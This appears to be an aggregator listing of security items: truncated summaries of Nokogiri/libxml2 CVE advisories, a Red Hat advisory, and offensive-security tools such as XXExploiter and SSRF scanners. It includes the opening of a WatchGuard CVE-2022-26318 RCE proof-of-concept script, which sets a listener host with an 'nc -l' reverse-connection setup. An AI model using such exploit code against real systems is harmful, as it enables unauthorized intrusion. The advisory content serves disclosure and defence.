decoder-plus-plus

Decoder++ Decoder++ is an extensible application designed for penetration testers, software developers, and anyone in between looking to effortlessly decode and encode data across various formats. It includes a wide range of preinstalled scripts and codecs, smart decoding and format identificatio...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

CVE-2025-71346

Nokogiri before 1.18.8 packages a vulnerable version of libxml2 before 2.13.8 that contains a heap-based buffer under-read CVE-2025-32415 in the xmlSchemaIDCFillNodeTables function in xmlschemas.c. The issue can be triggered when validating against an untrusted XML Schema, or when validating...

CVE-2023-54354

Nokogiri before 1.14.3 CRuby implementation only, when using the packaged libxml2 bundles libxml2 v2.10.3, which is vulnerable to NULL pointer dereferences in XML Schema processing xmlSchemaFixupComplexType, CVE-2023-28484, and xmlSchemaCheckCOSSTDerivedOK. An attacker who supplies a...

CVE-2021-47996

Nokogiri before 1.11.4 CRuby implementation only, when the packaged/vendored libxml2 is used bundles libxml2 2.9.10, which is affected by multiple vulnerabilities addressed in libxml2 2.9.12, including a memory leak in xmlSchemaValidateStream CVE-2019-20388, a global buffer over-read in...

xxexploiter

XXExploiter It generates the XML payloads, and automatically starts a server to serve the needed DTD's or to do data exfiltration. Installation root@kitploit: install node and npm if you don't have it yet npm install -g xxexploiter Building & Running from source This is a simple Node application...

EUVD-2026-65530

Nokogiri versions before 1.19.1 fail to check the return value from xmlC14NExecute in the canonicalize method, returning an empty string on failure instead of raising an exception. Attackers can exploit this to bypass signature validation in downstream SAML libraries by providing invalid...

CVE-2025-71407 Nokogiri before 1.18.3 Stack Buffer Overflow and Use-After-Free

Nokogiri before 1.18.3 contains a stack buffer overflow vulnerability in libxml2 when reporting DTD validation errors with long QName prefixes, and a use-after-free vulnerability during validation against untrusted XML Schemas. Attackers can trigger these vulnerabilities by providing malicious DT...

CVE-2025-71346

Nokogiri (Ruby XML/HTML parsing gem) versions before 1.18.8 bundle a vulnerable version of libxml2 (before 2.13.8) containing a heap-based buffer under-read in the xmlSchemaIDCFillNodeTables function in xmlschemas.c (upstream CVE-2025-32415). The issue is triggered when validating against an untr...

EUVD-2025-210772

Nokogiri before 1.18.8 packages a vulnerable version of libxml2 before 2.13.8 that contains a heap-based buffer under-read CVE-2025-32415 in the xmlSchemaIDCFillNodeTables function in xmlschemas.c. The issue can be triggered when validating against an untrusted XML Schema, or when validating...

CVE-2025-71346 Nokogiri before 1.18.8 Heap Buffer Under-read via XML Schema

Nokogiri before 1.18.8 packages a vulnerable version of libxml2 before 2.13.8 that contains a heap-based buffer under-read CVE-2025-32415 in the xmlSchemaIDCFillNodeTables function in xmlschemas.c. The issue can be triggered when validating against an untrusted XML Schema, or when validating...

CVE-2023-54354

Nokogiri before 1.14.3 (CRuby implementation only, when using the packaged libxml2) bundles libxml2 v2.10.3 , which contains NULL pointer dereference vulnerabilities in XML Schema processing functions (xmlSchemaFixupComplexType and xmlSchemaCheckCOSSTDerivedOK ). An attacker supplying a crafted o...

CVE-2023-54354 Nokogiri before 1.14.3 Null Pointer Dereference via libxml2

Nokogiri before 1.14.3 CRuby implementation only, when using the packaged libxml2 bundles libxml2 v2.10.3, which is vulnerable to NULL pointer dereferences in XML Schema processing xmlSchemaFixupComplexType, CVE-2023-28484, and xmlSchemaCheckCOSSTDerivedOK. An attacker who supplies a...

EUVD-2023-60605

Nokogiri before 1.14.3 CRuby implementation only, when using the packaged libxml2 bundles libxml2 v2.10.3, which is vulnerable to NULL pointer dereferences in XML Schema processing xmlSchemaFixupComplexType, CVE-2023-28484, and xmlSchemaCheckCOSSTDerivedOK. An attacker who supplies a...

CVE-2022-50999

Nokogiri versions before 1.13.5 contain an integer overflow in the packaged libxml2 buffer handling functions. Attackers can exploit this by supplying multi-gigabyte XML files that trigger out-of-bounds memory writes, potentially leading to information disclosure , data modification , or denial o...

EUVD-2022-56023

Nokogiri before 1.13.9 CRuby implementation using packaged libraries bundles libxml2 v2.9.14, which is affected by CVE-2022-40304 data corruption / double-free from an entity reference cycle when entity content is allocated from a dict and CVE-2022-40303 integer overflows when parsing with...

CVE-2022-50998

Nokogiri (CRuby implementation using packaged libraries) versions before 1.13.9 bundle libxml2 v2.9.14 , which is susceptible to two underlying flaws: CVE-2022-40304 (a double-free from an entity reference cycle when entity content is allocated from a dict) and CVE-2022-40303 (integer overflows d...

ssrf-king

🔥 ssrf-king 🔥 v1.12 Latest SSRF plugin for burp that Automates SSRF Detection in all of the Request If you are facing any problems or would like a new feature that is not listed below Please create a new issue below in this form Create New Issue Upcoming Features Checklist ✔️ It will soon have a...

Moderate: Red Hat Security Advisory: assertj-core security update

An update for assertj-core is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

ssrf-sheriff

SSRF Sheriff This is an SSRF testing sheriff written in Go. It was originally created for the Uber H1-4420 2019 London Live Hacking Event, but it is now being open-sourced for other organizations to implement and contribute back to. Features Respond to any HTTP method GET, POST, PUT, DELETE, etc...